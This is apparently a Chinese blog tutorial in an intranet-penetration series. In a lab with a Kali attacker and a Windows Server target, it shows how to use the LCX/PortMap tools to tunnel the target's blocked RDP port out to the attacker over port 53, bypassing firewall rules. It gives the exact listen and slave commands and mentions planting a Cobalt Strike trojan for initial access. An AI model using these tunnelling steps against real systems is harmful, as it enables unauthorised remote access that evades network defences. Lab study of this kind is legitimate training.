关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
隧道代理部分的工具使用都是比较 Easy 的,读者主要学习的不应该是工具的使用,而是面对不同场景选择合适工具达到渗透目的的能力。
0x01:LCX & PortMap 工具介绍
LCX 工具获取:LCX 端口转发工具 - Linux & Windows.zip
LCX 是一款端口转发工具,分为 Windows 版和 Linux 版,Linux 版名叫 PortMap。LCX 具有端口映射和端口转发两大功能,当我们发现目标关键端口无法访问时便可以使用这款工具让目标端口出网以突破限制。
比如,你通过渗透发现靶机的 3389(远程桌面)处于开启状态,但是你无法直接访问该端口(怀疑目标在防火墙上做了限制)。那么此时,你就可以使用这款工具,通过端口转发的方式,将 3389 流量转发到其他端口上,从而绕过防火墙的限制。
0x0101:Windows 版 — LCX 使用说明
- ### 端口转发(反向) - 将本机指定端口流量转发到指定 lcx 服务端对应端口
- lcx.exe -listen <本地监听端口> <本地转发端口> # 打通本地两个端口之间的流量
- lcx.exe -slave <远程 IP> <远程端口> <本地 IP> <本地端口>
-
- ### 端口映射 - 将目标 IP:Port 映射到本机指定端口,此时访问本地指定端口就相当于访问远程目标端口
- lcx.exe -tran <本地端口> <目标 IP> <目标端口>
0x0102:Linux 版 — PortMap 使用说明
- # Usage - 使用方法
- ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-
- # 参数说明
- -m method => 指定工具的工作模式,支持以下三种模式
- 1 : 监听 PORT1,并将连接转发到 HOST2:PORT2 => 将本地端口转发到远程主机
- 2 : 同时监听 PORT1 和 PORT2,并在两者之间转发数据 => 适用于本地端口转发
- 3 : 连接到 HOST1:PORT1 和 HOST2:PORT2,并在两者之间转发数据 => 用于两个主机间建立转发通道
- -v => 显示工具版本信息
- -log filename => 将运行日志保存到指定的文件中
0x02:LCX & PortMap 远程端口转发试验
复现环境
攻击机 Kali Linux:IP 192.168.0.136
靶机 WindowsServer2012:IP 192.168.0.170
0x0201:环境描述
假设攻击者与靶机处于同一网络环境中(同时为公网或者同时为内网同一网段,总之二者可以互相 Ping 通),攻击者拿下靶机后发现靶机开放了 3389 端口,攻击者想要通过该端口进行远程登录。
但是靶机中由于配置了防火墙安全规则,导致 3389 端口无法出网,攻击者无法直接远程登录靶机,于是想通过端口转发的方式绕过防火墙安全规则进行远程登录,试验的网络拓扑图如下:
0x0202:环境搭建
Linux下通过rdesktop连接Windows远程桌面-腾讯云开发者社区-腾讯云最近在公司要求做学习汇报,同事在windows下做的ppt,然后我用自己电脑Linux连接的汇报用的投影仪,但是将其ppt拷贝过来到我linux下格式显示有点问题,最后索性远程连接他的windows机器控制其桌面进行汇报,也算比较方便。下面就说一下怎么连接windows远程桌面。一、主角:rdesktoprde...https://cloud.tencent.com/developer/article/1125596
1. 开启 Windows Server 远程桌面服务
首先以管理员身份登录 Windows Server 靶机中,依次点击 “开始” => “这台电脑” => 右击选择 “属性” => “远程设置” => “远程”,选择 “允许远程连接到此计算机”:
如上,这样配置好后,就算是开启了 3389 远程桌面服务了,此时我们可以回到攻击机 Kali 中使用这条命令尝试连接一下 Windows Server 机器:
rdesktop 192.168.0.170 # 这个 Linux 中进行远程桌面连接的命令
如上,如果你也能直接显示 Windows Server 的远程桌面,则证明环境配置没问题。
2. 配置防火墙规则拦截 3389 数据
接下来我们继续登录 Windows Server 靶机中,配置防火墙规则,拦截 3389 端口的流量。
依次点击 “开始” => “控制面板” => “Windows 防火墙” => “高级设置” => “入站规则”,找到 “远程桌面 - 用户模式” 这条规则,默认是开启的:
点击上面那两条规则,全部设置为 “阻止连接”:
此时,我们再回到攻击机 Kali 中,尝试使用 rdesktop
命令远程登录 Windows Server 靶机看看:
如上,卡着了,Kali 中的连接请求被靶机中的防火墙拦截了。那么至此,我们的试验环境就配置好了。
0x0203:试验复现
1. 拿到靶机高权限 Shell
要想在靶机上建立隧道,一般需要拿到比较高的权限,这也是为啥 “隧道技术” 笔者会放在 “权限提升” 的后面来讲解了。
登录 Kali Linux 攻击机中,开启 CS 服务端,并使用 CS 客户端进行连接(CS 即 Cobalt Strike,现在已经是内网了,这款工具属于基础知识了,所以笔者这里不会详细讲解用法):
然后呢,我们利用 CobaltStrike 生成 Windows 木马程序,丢到 Windows Server 中,以高权限用户执行(省略提取的步骤),上线靶机:
2. 靶机信息收集发现 3389 端口
假设我们前面经过一堆信息收集的工作,拿到目标系统的账号密码(怎么抓 Windows 账号密码会在后面的内网渗透中讲解,这里掠过),此时想尝试直接登录目标机器(在命令行操作还是没有手鼠标点点舒服)。
使用下面这个命令,发现靶机中开放了 3389 端口,推测其允许远程桌面访问:
netstat -ano | findstr 3389
然后在 Kali Linux 中使用下面这个命令,尝试利用远程桌面服务登录靶机:
rdesktop 192.168.0.170
结果并没有成功登录。靶机中明明开放了这个端口,但是我们直接连接发现失败了,推测可能 3389 端口被防火墙拦截了,于是我们尝试做端口转发,绕过防火墙限制。
3. LCX 端口转发绕过靶机防火墙限制
将 PortMap 上传到 KaliLinux 中,并输入下面这条命令,将 Kali 本地的 53 端口与 1111 端口做绑定(相当于是启动了一个端口转发的服务端了):
- ./portmap -m2 -p1 53 -p2 1111 # 这个是在 Linux 服务器中的用法
- lcx.exe -listen 53 1111 # 如果你是在 Windows 中运行,这条命令和上面等价
然后将 lcx 上传到靶机中,并在靶机上执行下面这条命令,将靶机的 3389 端口与攻击机的 53 端口做一个绑定:
lcx.exe -slave 192.168.0.136 53 127.0.0.1 3389
如上,当我们在靶机上运行完命令后,马上就发现,攻击机中显示一个客户端已上线。
4. 绕过防火墙使用远程登录
此时我们理一下环境,靶机的 3389 端口与攻击机的 53 端口(DNS 服务,一般这个服务都会允许出入网)做了一个绑定,攻击机又在本地的 53 端口与 1111 端口之间打通了一个隧道,由此,我们可以得出,此时访问攻击机的 1111 端口就等于访问了靶机的 3389 端口。
我们使用如下命令,尝试进行远程桌面:
rdesktop 127.0.0.1:1111
如上,成功弹出了靶机的远程桌面信息,没有像之前那样卡着。估计到这里,有小伙伴就开始头脑风暴了,为啥嘞?这就是隧道的牛逼之处了。我们打通了隧道,此时使用远程桌面服务就和在靶机本地使用远程桌面服务连接自己一样,都不会被防火墙拦截:



评论记录:
回复评论: